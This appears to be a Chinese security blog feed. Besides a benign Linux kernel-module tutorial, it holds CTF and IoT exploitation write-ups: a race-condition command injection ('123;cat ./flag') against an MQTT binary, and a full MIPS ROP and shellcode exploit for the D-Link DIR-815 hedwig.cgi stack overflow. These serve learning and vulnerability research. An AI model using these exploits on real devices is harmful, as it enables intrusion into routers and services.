SpaceDraG0n Hexo https://spacedrag0n-1.github.io/ All rights reserved 2026, SpaceDraG0n 认真做事，坚持学习 SpaceDraG0n 2025-12-18T05:53:03.000Z SpaceDraG0n Life-Signal-Drive

项目链接：生命信号驱动 - QEMU-Friendly Linux内核驱动项目

本次介绍的是关于我学习的第一个内核驱动项目，虽然比较简单，但是可以帮助我很好的理解关于内核初始化，定时器，proc 文件系统和内核/用户空间的数据交互 。

我使用的是 wsl2 + ubuntu22.04 子系统，内核版本是 6.6.87.2-microsoft-standard-WSL2 ，一般我们在标准的 Linux 发行版中是直接使用 apt 安装内核头文件的，但是在 WSL2 中，我们无法直接使用这种方式来进行安装， 这种情况我们可以前往 WSL2-Linux-Kernel 项目页面，下载与内核版本对应的内核源码， 解压到 wsl2 内，进入源代码目录，使用 make headers_install 进行头文件安装，由于我们需要编译一个内核模块，我们还需要执行 make modules_prepare 。

本次项目用到了 timer_list 、proc_dir_entry 、proc_ops 三个关键数据结构：

timer_list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct timer_list {
/*
 * All fields that change during normal runtime grouped to the
 * same cacheline
 */
struct hlist_nodeentry;
unsigned longexpires;
void(*function)(struct timer_list *);
u32flags;

#ifdef CONFIG_LOCKDEP
struct lockdep_maplockdep_map;
#endif
};

这是 Linux 内核用于管理内核定时器（Kernel Timer）的核心结构体 struct timer_list ，它的设计目标是提供一种在未来某个特定时间点执行某个函数的机制 。

下面介绍一下该结构体的关键成员：

struct hlist_node entry;

这个是一个哈希链表节点，使用 hlist （双向链表，但头节点仅需一个指针），这个是为了节省内存空间。

unsigned long expires

设定定时器的到期时间点，它的单位是 jiffies （内核自启动以来的节拍数），当系统的 jiffies 值大于或等于 expires 时，定时器被视为到期 。

void (*function)(struct timer_list *)

回调函数指针，这是定时器的核心逻辑，当定时器到期的时候，内核会在中断上下文中调用这个函数，它接收 struct timer_list * 作为参数，以便在回调函数内部通过 container_of 获取包含该定时器的宿主结构体。

初始化：timer_setup() 设置回调函数 。

激活：mod_timer(timer, jiffies + delay) 设置过期时间并启动 。

停止：使用 del_timer() 或 del_timer_sync() 来注销定时器 。

proc_dir_entry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct proc_dir_entry {
/*
 * number of callers into module in progress;
 * negative -> it's going away RSN
 */
atomic_t in_use;
refcount_t refcnt;
struct list_head pde_openers;/* who did ->open, but not ->release */
/* protects ->pde_openers and all struct pde_opener instances */
spinlock_t pde_unload_lock;
struct completion *pde_unload_completion;
const struct inode_operations *proc_iops;
union {
const struct proc_ops *proc_ops;
const struct file_operations *proc_dir_ops;
};
const struct dentry_operations *proc_dops;
union {
const struct seq_operations *seq_ops;
int (*single_show)(struct seq_file *, void *);
};
proc_write_t write;
void *data;
unsigned int state_size;
unsigned int low_ino;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
struct proc_dir_entry *parent;
struct rb_root subdir;
struct rb_node subdir_node;
char *name;
umode_t mode;
u8 flags;
u8 namelen;
char inline_name[];
} __randomize_layout;

proc_dir_entry 是 /proc 文件的入口，作用是创建 /proc/counter 文件 。

1
2
3
4
5
6
7
static struct proc_dir_entry *proc_entry;

proc_entry = proc_create(PROC_NAME, 0444, NULL, &proc_fops);
if (!proc_entry) {
    printk(KERN_ERR "Failed to create /proc/%s\n", PROC_NAME);
    return -ENOMEM;
}

proc_create()

1
2
3
4
5
 struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct proc_ops *proc_ops);
 
 proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent,
    const struct proc_ops *proc_ops)
{ return NULL; }

可以通过 proc_create 来设置 proc_dir_entry 结构体内部的四个主要成员 ，mode = 0444 代表全局只读，parent = NULL 代表将文件存储在 /proc 根路径下，proc_ops 这里担任的是一个比较重要的作用，随着新版本内核的出现（大概在 v5.6 前后），我们为了减少不必要的开销，不再使用 file_operations ，而是改用了 proc_ops ，因为 file_operations 有很多成员，而 proc_ops 只需要使用其中一部分 。

proc_ops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct proc_ops {
unsigned int proc_flags;
int(*proc_open)(struct inode *, struct file *);
ssize_t(*proc_read)(struct file *, char __user *, size_t, loff_t *);
ssize_t (*proc_read_iter)(struct kiocb *, struct iov_iter *);
ssize_t(*proc_write)(struct file *, const char __user *, size_t, loff_t *);
/* mandatory unless nonseekable_open() or equivalent is used */
loff_t(*proc_lseek)(struct file *, loff_t, int);
int(*proc_release)(struct inode *, struct file *);
__poll_t (*proc_poll)(struct file *, struct poll_table_struct *);
long(*proc_ioctl)(struct file *, unsigned int, unsigned long);
#ifdef CONFIG_COMPAT
long(*proc_compat_ioctl)(struct file *, unsigned int, unsigned long);
#endif
int(*proc_mmap)(struct file *, struct vm_area_struct *);
unsigned long (*proc_get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
} __randomize_layout;

proc_ops 是专门为 /proc 文件系统设计的操作接口结构体 ，包括了一些基本读写操作比如 proc_open、proc_read 或者 proc_write ，还有一些高级功能如 proc_ioctl 提供一个后门，用于执行不适合用读写表达的自定义控制命令 。

我们可以通过这个结构体来实现 /proc 文件内核与用户空间的数据交互，但是我们还需要使用 copy_to_user 这个关键函数 。

前置准备

1
2
3
4
5
6
7
8
9
10
11
12
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/jiffies.h>
#include <linux/timer.h>

#define PROC_NAME "counter"

static unsigned long seconds, minutes, hours, days;
static struct timer_list my_timer;
static struct proc_dir_entry *proc_entry;

这里包含了一些需要的头文件，然后定义了我们需要创建的 /proc 文件的名字，以及定义了一些变量还有结构体。

定时器设定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static void timer_callback(struct timer_list *t)
{
    seconds++;
    if(seconds==60){
        minutes++;
        seconds=0;
        if(minutes==60){
            hours++;
            minutes=0;
            if(hours==24){
                days++;
                hours=0;
            }
        }
    }
    mod_timer(&my_timer, jiffies + HZ);
}

在定时器设定上运用了一个简单的时间算法，用于统计时间数据 ，然后我们设置了每次调用回调函数的时间间隔，时间周期为 1s ，也就是说每隔一秒就会更新时间数据，符合当前项目的主题——生命周期驱动 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static ssize_t proc_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
    char str[72];
    int len;
    
    if(*ppos > 0) return 0;

    len = snprintf(str,sizeof(str),"Life Cycle : %lu days %lu hours %lu minutes %lu seconds...\n", days, hours, minutes, seconds);
    
    if(copy_to_user(buf, str, len)) return -EFAULT;
    
    *ppos = len;
    return len;
}

static const struct proc_ops proc_fops = {
    .proc_read = proc_read,
};

设置 proc_ops 内的成员 proc_read ，让我们对这个 /proc 文件有一个读操作，可以把内核空间的数据通过 copy_to_user 发送到用户空间，这里发送的是时间数据 。

模块初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int __init heartbeat_init(void){
    timer_setup(&my_timer, timer_callback, 0);
    mod_timer(&my_timer, jiffies + HZ);

    proc_entry = proc_create(PROC_NAME, 0444, NULL, &proc_fops);
    if(!proc_entry){
        printk(KERN_ERR"Failed to create /proc/%s\n", PROC_NAME);
        return -ENOMEM;
    }

    printk(KERN_INFO"Heartbeat driver loaded!\n");
    return 0;
}

static void __exit heartbeat_exit(void){
    del_timer(&my_timer);
    remove_proc_entry(PROC_NAME, NULL);
    printk(KERN_INFO"Heartbeat driver unloaded!\n");
}

module_init(heartbeat_init);
module_exit(heartbeat_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("SPACEDRAG0N");
MODULE_DESCRIPTION("A simple heartbeat driver");

初始化模块，注册定时器，绑定回调函数，启动计时器，创建 /proc 文件，同时设置许可证，署名，增添描述

Makefile

1
2
3
4
5
6
7
8
9
10
11
obj-m += heartbeat.o

KDIR := /root/WSL2-Linux-Kernel

PWD := $(shell pwd)

all: 
make -C $(KDIR) M=$(PWD) modules

clean:
make -C $(KDIR) M=$(PWD) clean

需要注意的是驱动名必须要与驱动源代码名一致，这里我写了两个命令一个用来编译驱动，一个用来清理驱动，KDIR 需要是我们之前编译内核驱动的目录路径 。

编译完之后如果没有任何问题我们就可以使用 insmod 来导入模块

1
insmod heartbeat.ko

我们也可以利用 rmmod 来卸载模块

1
rmmod heartbeat.ko

如果成功导入，那么我们就可以通过 cat /proc/counter 来查看我们的时间数据了

image-20251218134953479

]]> https://spacedrag0n-1.github.io/posts/15.html 2025-12-18T05:51:00.000Z Life-Signal-Drive

项目链接：

一次简单的内核驱动项目实现 Life-Signal-Drive 2025-12-18T05:53:03.000Z SpaceDraG0n mqtt-pwn

MQTT（Message Queuing Telemetry Transport，消息队列遥测传输）协议，凭借其轻量、高效、可靠的特性，已成为物联网（IoT）领域事实上的标准通信协议。其应用范围已经渗透到智能家居、工业生产、车联网、智慧城市等各个角落，是支撑海量设备互联互通的关键技术。

在 mqtt 协议中有两个主要的交互角色：broker 、client 。

  • broker（代理/服务器） ：可以理解为提供 mqtt 服务的代理服务器 ，通俗一点来讲就是”邮局”或者说是”消息中转中心”，每个 client 之间的通信都必须通过 Broker 来进行。

简单来说，Broker就是一个中间人，负责管理所有客户端的连接，并确保消息能够从一个客户端安全、高效地传递到另一个或多个客户端。

  • Client（客户端） ：Client 是指任何连接到 Broker 的设备或应用程序 ，可以理解为”寄信人”和”收信人”。在物联网场景中，一个 Client 可以是一个温度传感器、一个智能灯泡、一部手机上的App，或者是一个在服务器上运行的数据分析程序。

一个Client可以扮演两种角色（或者同时扮演两种角色）：

发布者 (Publisher):

  • 角色类比：寄信人。
  • 功能： 负责产生数据和消息，并将这些指定topic的消息发送（发布/Publish）到 Broker。

订阅者 (Subscriber):

  • 角色类比：收信人。

  • 功能： 负责接收它感兴趣的消息。它会提前告诉Broker它对哪个”主题”（Topic）的消息感兴趣（这个行为叫做订阅/Subscribe），就会接收订阅相同topic的client。

环境搭建

1.使用安装 Mosquitto MQTT

1
2
sudo apt update
sudo apt install mosquitto mosquitto-clients

2.启动服务并设置开机自启

1
2
sudo systemctl enable mosquitto
sudo systemctl start mosquitto

3.测试服务

窗口1 订阅主题

1
mosquitto_sub -h localhost -t test/topic

窗口2 发布消息

1
mosquitto_pub -h localhost -t test/topic -m "Hello MQTT"

4.更改配置文件

1
2
3
4
5
sudo vim /etc/mosquitto/mosquitto.conf
#修改为如下内容
listener 9999 #设置监听端口为 9999
allow_anonymous true  # 可选，允许匿名访问（默认）
sudo systemctl restart mosquitto # 重启服务

5.安装paho-mqtt

1
pip3 install paho-mqtt

例题：ciscn2025 final mqtt

check一下：

image-20250928113844431

IDA：

image-20250928112848587

需要读取两个文件的内容，记得创建，要不然程序会miss file退出。

image-20250928113941362

MQRRClient_create 函数创造了一个客户端实例，初始化MQTT客户端所需的资源和结构。

MQTTClient_setCallbacks 设置回调函数 ，为客户端事件处理函数，中，sub_1C8C 是 消息接收回调函数。当客户端收到订阅主题的消息时，就会执行这个函数。qword_5100 是客户端的句柄或者是 ID 。

MQTTClient_subscribe(qword_5100, "diag", 1LL) 作用是订阅主题，一旦连接成功，客户端立即订阅名为 “diag” 的主题，使用 QoS (服务质量) 等级 1。这意味着所有发布到 "diag" 主题的消息都将被客户端接收。

这里查阅了一下资料，简单的扩展了一下关于 MQTT 的 Qos 等级的相关了解：

首先 MQTT 的机制提供了三种消息传递等级，用于满足不同场景的需求，分别被划分为 QoS 0、QoS 1、QoS 2 。

QoS 0 - 最多交付一次

QoS 0 是最低的服务质量等级，消息可能会丢失，但不会重复。消息发送后不需要确认或重传，传输效率高，延迟低。适用场景包括传感器数据、天气更新等无需保证消息可靠性的场景，尤其适合带宽有限的网络环境。

QoS 1 - 至少交付一次

QoS 1 确保消息至少被传递一次，但可能会重复。通过应答和重传机制，发送方在收到接收方的确认（PUBACK）后才认为消息成功传递。适用于需要较高可靠性但允许消息重复的场景，例如远程控制、状态更新等。需要注意的是，重复消息可能导致逻辑问题，因此需要在业务层面进行去重处理。

QoS 2 - 只交付一次

QoS 2 是最高的服务质量等级，确保消息既不丢失也不重复。通过四步握手（PUBLISH、PUBREC、PUBREL、PUBCOMP）机制，保证消息的唯一性。适用于关键任务场景，例如金融交易、远程医疗等。虽然可靠性最高，但传输开销和延迟也最大，适合带宽充足的网络环境。

等级由低到高，对于消息的可靠性愈加严苛。

由于程序订阅了 diag 主题，所以我们可以通过发送该主题的消息，来让程序进行接收显示。

实验：

启动程序：

image-20250928125552279

另外一个终端发送数据：

1
mosquitto_pub -h localhost -p 9999 -t diag -m "Hello My name is SpaceDraG0n"

image-20250928125626724

成功接收：

image-20250928125659040

如果我们发送的数据不是 diag 主题的：

image-20250928125755854

程序客户端没有接收到任何消息：

image-20250928125947189

这就是 MQTT 协议的特性 。

继续往下看：

pthread_create(&newthread, 0LL, sub_1E1A, 0LL) 这里创建了一个线程

image-20250928130048870

新线程执行了一个函数：

image-20250928130315192

不断打印 MQTT 的 VIN 以及 status ，这里可以不用太在意，没有什么作用。

我们进入消息接收回调函数 sub_1C8C 看看，像是我们刚刚发送了一个 diag 主题的消息给客户端时，回调函数就会执行这个消息接收回调函数 ，来处理接收的消息。

image-20250928143339775

这里首先就是显示接收了该主题的消息，并将其打印出来

JSON 用于 JavaScript，把任何 JavaScript 对象变成 JSON，即把这个对象序列化成一个 JSON 格式的字符串，然后通过网络传递给其他计算机 。

JSON 格式的字符串由双引号 “” 包裹，由键值对组成，键和值之间用 : 分隔，值可以是字符串、数字、布尔、null、数组或对象等类型，例如：{ "name": "Apifox" } 。

1
2
CJSON_PUBLIC(cJSON *) cJSON_ParseWithLength(const char *value, size_t buffer_length);  
//和 cJSON_Parse没有太大区别，其内部也要计算json字符串的长度

cJSON_ParseWithLength 函数使用一个已知的长度来解析JSON ，并且返回一个指向 cJSON 结构体的指针。

1
2
CJSON_PUBLIC(cJSON *) cJSON_GetObjectItem(const cJSON * const object, const char * const string);
如果想直接通过键名的方式获得键值，可以通过此方法。定位到想要的键名的层次之后，调用此函数即可。（注意，输入的键名是不区分大小写的，也就是说cJSON_GetObjectItem(root, "name")和cJSON_GetObjectItem(root, "NAME")）是一样的。要是想要区分大小写，请使用cJSON_GetObjectItemCaseSensitive函数，使用方法跟cJSON_GetObjectItem一致

这里分别调用了三次 cJSON_GetObjectItem 函数 ，作用是解析 json 数据 ：

image-20250928152452977

查看汇编代码可以发现，从JSON对象（v10）中获取的三个 item （键值对） 的 “值” ，其中键分别是 “auth” ，”cmd” ，”arg” 。

然后又连续调用了三次 strcpy 函数 ，把取出来的值依次存储到指定变量内 。

接着又调用了pthread_create函数 再次创建一个新进程，用来处理 json 解析之后的数据 ，也就是我们取出来的值。

image-20250928152919598

进入新进程函数，发现在函数开头有一个 sub_160E 函数，这是一个检查：

image-20250928152952733

就是比较 dest （其实就是/mnt/VIN内的值）在经过 sub_1509 函数处理之后 ，放入 s2 数据是否与我们的auth 相一致，这里的 auth 就是我们使用 json 解析出来的其中一个值 ，如果不一致的话，这个进程就会打印 unauthorized ，然后进程直接结束 ，所以我们需要想办法绕过 。

image-20250928154030486

观察一下这个函数 ，对 dest 进行了一个简单的加密 ，然后将其转化成宽度为8，用 0 补齐的十六进制数据，并且存储在 a2 里面 ，也就是我们前面所说的 s2 ，所以我们只要写一个逆向，来使我们输入的值经过加密之后使其还是与 dest 一致，这样就能绕过这个验证 。

1
2
3
for ch in vin:
auth = auth*31 + ord(ch)
auth = hex(auth)[-8:]

image-20250928155430707

绕过验证之后就会根据 cmd 来执行相应的命令 。

image-20250928155528700

其中我们这个程序的主要漏洞主要出现在这里 ，这个 sleep 函数为条件竞争创建了条件 ，因为该回调函数是通过线程创建，然后 arg 参数又是全局变量，也就是说，我们可以通过该线程 sleep 的时候 ，再次发送该主题的消息，启动另外一个接收回调函数，然后我们就可以修改 arg 为我们想要的指令，第一个线程 sleep 完后，就会通过 popen 函数来执行我们输入的指令 ，实现命令注入 。

1
FILE * popen( const char * command,const char * type);

关于 popen 函数 ，这里也简单扩展一下知识点，首先 popen 函数会调用 fork() 产生子进程 ，然后从子进程中调用 /bin/sh -c 来执行 command 的指令· ，参数 type 可以使用 r,w ，如果 type 为 r，那么调用进程读进 command 的标准输出 ，如果 type 为 w，那么调用进程写到 command 的标准输入。

若成功则返回文件指针，否则返回NULL，错误原因存于errno中。

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
 
void main()
{
    FILE *fp;
    char buffer[80];
    fp = popen("cat /etc/passwd", "r");
    fgets(buffer, sizeof(buffer), fp);
    printf("%s", buffer);
    pclose(fp);
}

言归正传，当然程序这里对arg参数也有一个函数进行检测：

image-20250928171147871

首先就是对参数的长度有检查 ，然后出现了一个 __ctype_b_loc() 函数 ，有一点看不懂 ，查阅一下资料。

__ctype_b_loc 函数为其自己实现的，主要获取一个数组列表，可容纳-128~255范围的字符，对应字符值索引可获取到本地语言的字符集，对于要求的字符与掩码位求与即可得到该字符是否为某种掩码位类型的字符 。

这个 8 在这里就是一个位掩码 ，在标准的 ctype 实现中 ，代表数字 (_ISdigit) 的标志位就是第 3 位，其值为 2 的三次方 ，也就是 8 。如果一个字符是数字，那么它的属性掩码中代表 _ISdigit 的那一位就是 1 。当这个属性掩码与 8 (二进制 00001000) 进行按位与操作时，如果该字符是数字，结果就是 8 (非零)， 如果该字符不是数字，那么 _ISdigit 位就是 0，按位与的结果就是 0。

所以这里就是判断 arg 字符串中的每一个字符是不是都是由阿拉伯数字构成的 ，如果不是则结束进程 ，不再执行命令。

弄清楚上面的一些步骤我们就可以开始写 EXP 了

image-20250930171547200

记得订阅 diag/resp ，因为我们使用命令注入后的输出就会通过 “diag/resp” 主题的消息发送到各个客户端

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import time
import paho.mqtt.client as mqtt
import json

context(log_level = "debug",os = "linux",arch = "amd64")
p = remote('127.0.0.1',9999)

def on_connect(client, userdata, flags, rc):
    client.subscribe("diag")
    client.subscribe("diag/resp")
    print("Connected with result code " + str(rc))

def on_subscribe(client,userdata,mid,granted_qos):
    print("消息发送成功")

def publish(client,topic,auth,cmd,arg):
    msg = {
        "auth":auth,
        "cmd":cmd,
        "arg":arg
    }
    result = client.publish(topic = topic, payload = json.dumps(msg))
    print(json.dumps(msg))
    print(result)
    return result

def on_message(client, userdata, msg):
    message = msg.payload.decode()# Decode message payload
    print(f"Received message on topic '{msg.topic}': {message}")
    print(message)

vin = "test"
auth = 0
for ch in vin:
auth = auth*31 + ord(ch)
auth = hex(auth)[-6:].rjust(8,"0")

topic = "diag"
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.on_subscribe = on_subscribe
client.connect(host = "127.0.0.1",port = 9999,keepalive=10000)

publish(client,"diag",auth,"set_vin","12345678910")
sleep(0.5)
publish(client,"diag",auth,"set_vin","123;cat ./flag")
publish(client,"diag",auth,"set_vin","123;cat ./flag")

sleep(1)

client.loop_start()

p.interactive()

image-20250930171505401

image-20250930171314971

参考链接：

[原创]mqtt 协议pwn入门（ciscn2025 final mqtt）-Pwn-看雪论坛-安全社区|非营利性质技术交流社区

国赛 决赛 2025 - mqtt | RocketDevlog

cJSON使用文档——超详细_cjson getitem-CSDN博客

(16 封私信 / 80 条消息) 什么是 JSON：深入解析什么是JSON及其功能 - 知乎

Linux C popen()函数详解 - 52php - 博客园

C 标准库系列之ctype.h - 浩月星空 - 博客园

]]> https://spacedrag0n-1.github.io/posts/12.html 2025-10-02T02:18:11.000Z mqtt-pwn

MQTT（Message Queuing Telemetry]]>

mqtt-pwn小记 2025-10-02T02:21:22.000Z SpaceDraG0n DIR-815 栈溢出漏洞(CNVD-2013-11625)复现

第一次真正的接触iot实战，还是有一点兴奋的，这次复现的漏洞是 DIR-815 栈溢出漏洞 。

环境配置

binwalk

1
sudo apt install binwalk

安装完 binwalk 后还需要安装 sasquatch 依赖，这是 binwalk 用于解压 非标准SquashFS文件系统 的关键，如果我们不安装这个依赖的话，我们后面分离固件得到的 squashfs-root 是空的。

安装方法如下：

1
2
3
4
5
6
# 安装依赖库（关键步骤，否则编译会失败） 
sudo apt-get install build-essential zlib1g-dev liblzma-dev liblzo2-dev 
# 克隆仓库并编译 
git clone https://github.com/devttys0/sasquatch.git 
cd sasquatch 
./build.sh

这个时候如果触发了一个报错：

1
2
3
4
5
6
7
8
9
unsquashfs.c: In function ‘read_super’:
unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]
 1835 |     if(swap)
      |     ^~
unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
 1841 |         read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
      |         ^~~~~~~~~~~~~
cc1: all warnings being treated as errors
make: *** [<builtin>: unsquashfs.o] Error 1

那需要我们执行这个：

1
2
3
4
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch
sudo ./build.sh

如果还出现报错的话，我们需要修改 build.sh 文件

1
2
3
4
5
6
7
8
9
#!/bin/bash
# ...（前面部分不变）

# Patch, build, and install the source
cd squashfs4.3
patch -p0 < ../patches/patch0.txt
cd squashfs-tools
export CFLAGS="-Wno-error=dangling-pointer"  # 关键修改
make && $SUDO make install

然后再次运行

1
2
3
4
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch
sudo ./build.sh

分离固件

1
binwalk -Me DIR-815.bin --run-as=root

这个时候会出现一个 .extracted 的提取文件夹，里面就是我们分离出来的文件，进入 squashfs-root

漏洞出现在 hedwig.cgi ，我们可以使用 find 指令进行搜查

1
find ./ -name hedwig.cgi

得到 hedwig.cgi 的路径：./htdocs/web/hedwig.cgi

1
2
3
~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root
❯ find ./ -name hedwig.cgi
./htdocs/web/hedwig.cgi

image-20250925113524812

根据路径找到 hedwig.cgi 输入 ls -l 查看 ，发现它其实是一个软链接，链接的是 ../htdocs/cgibin 这个程序，但是不知道为什么我这里没有显示文件路径，正常情况应该是这样的：

image-20250925113724670

进入 htdocs 文件夹：

1
2
3
4
~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root/htdocs
❯ ls
HNAP1   neap    smart404  upnpdevdesc  web     widget
cgibin  phplib  upnp      upnpinc      webinc

找到这个 cgibin ，我们先初步对它进行一个简单的分析：

image-20250924084945177

可以看到程序是 mips 架构，几乎没有开启任何保护 ，拖入 IDA 进行一个进一步分析：

image-20250924085221325

在 main 函数找到 hedwig.cgi 的入口 ，双击进入：

image-20250925113938998

注意这种取环境变量REQUEST_METHOD，后面有检查，必须要是 POST 请求才可以，环境变量我们可以自行设置。

然后就会进入 cgibin_parse_request 函数：

image-20250925114351079

这个函数有一些环境变量也需要设置

接着我们进入 sess_get_uid 函数：

image-20250929100744296

对环境变量 HTTP_COOKIE 进行获取 ，并将指向该环境变量的值的指针存储到 v3 变量 ，而后令 v5 等于 v3 ，

然后又对 v5 解引用，也就是说环境变量的第一个字符最终被存储到了 v7 。

接着就是一系列的分离操作，将环境变量HTTP_COOKIE等号之前的值存储到了 v2 ，将等号之后的值存储到 v4，需要注意的是对 v2 有一个检查，我们需要把它赋值为 “uid”。

image-20250929110651587

漏洞点就存在与这里：

string = sobj_get_string((int)v4) 此时string就是我们环境变量HTTP_COOKIE的等号后面的数据

sprintf(v27, "%s/%s/postxml", "/runtime/session", string) 由于对string的长度没有检查，所以这里存在一个典型的栈溢出漏洞

image-20250929110840557

我们往下看的时候还发现了 sprintf 函数，依旧存在这个漏洞，并且是一模一样的 ，把我们HTTP_COOKIE的等号后面的数据放到栈上 ，依旧是 v27 ，所以相当于是覆盖了上面的 sprintf 放在 v27 的数据 。

但是进入第二个 sprintf 的话需要满足两个条件，第一个就是必须存在 /var/tmp/tmp.xml 文件 ，第二个就是 haystack 必须是非 0 。

满足第一个条件还好，但是满足第二个条件可能要对程序进行比较复杂的分析，还要经过一系列调试判断。

image-20250930175103702

我参考了 **winmt 师傅 **的文章，发现他对走到第二个 sprintf 函数进行了一个深入研究 ，但是我一开始复现的时候比较懒，发现就算不经过第二个 sprintf 函数也会溢出到返回地址，也就是说我们只用第一个 sprintf 函数就可以控制程序的执行流程了 。

image-20250930180047864原因在于 "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>" 报错之后并没有直接 exit 退出程序，而是继续对 v3 和 v4 进行一个 del ，v4 虽然是我们之前 HTTP_COOKIE 环境变量里面的数据，但是这个数据已经被我们通过 sprintf 复制到栈上了 。（也可能是我哪里不知道或者弄错了/(ㄒoㄒ)/~~)

我们先使用 cyclic 模块创造 2000 个字符到 payload 文件

1
2
~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root/htdocs
❯ cyclic 2000 > payload

然后创建 start.sh 文件 ，注意一下文件路径之类的 

1
2
3
4
5
6
7
8
# start.sh
#!/bin/bash
 # 定义输入数据和相关变量
INPUT="SPACE=Pwner"                          # 发送的数据内容
LEN=$(echo -n "$INPUT" | wc -c)                 # 计算内容长度
COOKIE="uid=`cat payload`"   
echo $INPUT | qemu-mipsel -L ../ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE  -g 1234 ./cgibin
#-0 参数用于强制设置程序的 argv[0] 值， 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能

然后创建一个 gdb 文件 ，写入以下内容

1
2
3
4
5
6
set arch mips 
set follow-fork-mode child
set detach-on-fork off
symbol-file ./cgibin
target remote localhost:1234
b *0x00409680

我们需要开启两个终端 ，一个执行 start.sh，另外一个执行 gdb-multiarch

image-20250930190944660

计算可以得到偏移

这里我们可以选择把 shellcode 写到栈上 ，然后跳转过去执行 。

但是要注意缓存不一致性的问题：

指的是指令缓存区（Instruction Cache）和数据缓存区（Data Cache）两者的同步需要一个时间来同步，常见的就是，比如我们将shellcode写入栈上，此时这块区域还属于数据缓存区，如果我们此时像x86_64架构一样，直接跳转过去执行，就会出现问题，因此，我们需要调用sleep函数，先停顿一段时间，给它时间从数据缓存区转成指令缓存区，然后再跳转过去，才能成功执行。

我们还需要得到 libc 的基地址 ，由于 qemu 用户态的libc地址是不会改变的 ，所以我们可以定位到 memset 函数上来

image-20250930194333120

image-20250930194405532

我们先找到它在libc中的偏移 ，然后我们再利用 gdb-multiarch 调试 ，找到 memset 的地址

image-20250930194527575

计算就可以得到 libc 的基地址了 ，每一个人的 libc 地址都不一样 ，所以这里需要自己去算一下

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
 
libc_base = 0x3ff38000 # 这里的libc_base每个人都是不一样的需要修改
 
payload = b'a'*1007
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1  move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3  sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)
 
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)
 
shellcode = asm('''
    slti $a2, $zero, -1
    li $t7, 0x69622f2f
    sw $t7, -12($sp)
    li $t6, 0x68732f6e
    sw $t6, -8($sp)
    sw $zero, -4($sp)
    la $a0, -12($sp)
    slti $a1, $zero, -1
    li $v0, 4011
    syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode
 
payload = b"uid=" + payload
post_content = "XiDP=Pwner"
p = process(b"""
    qemu-mipsel -L ../ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=11 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    ./cgibin
""", shell = True)
p.send(post_content)
p.interactive()

image-20250930195147922

参考链接：

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区

DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区

]]> https://spacedrag0n-1.github.io/posts/11.html 2025-10-02T02:16:57.000Z House of emma

在 GLibc2.34 版本中，我们以往堆利用最常用的两个 Hook ：malloc_hook 、free_hook 直接被取消，导致以往的大部分堆利用手法直接失效，这时候我们急需发现一个类似于 __free_hook 这样的函数指针调用，从而来削弱 getshell 的限制条件。

House of emma 因此诞生

利用范围：

  • 2.23—— 至今

利用条件：

  • 需要两次任意地址写已知地址
  • 需要泄露libc地址以及堆块地址
  • 能够触发IO流（House of kiwi 、FSOP）

